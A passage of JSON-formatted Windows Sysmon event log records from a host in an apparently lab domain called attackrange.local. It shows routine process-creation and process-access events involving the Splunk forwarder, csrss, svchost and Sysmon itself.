11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3710,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.467\r\nProcessGuid: {90617006-407F-5F2D-0000-0010C55C0500}\r\nProcessId: 4696\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\admon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.467","ProcessGuid":"{90617006-407F-5F2D-0000-0010C55C0500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\admon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3711,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010C55C0500}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010C55C0500}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3712,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010C55C0500}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010C55C0500}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3713,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3714,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3715,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3716,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3717,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.465","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3718,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.465\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 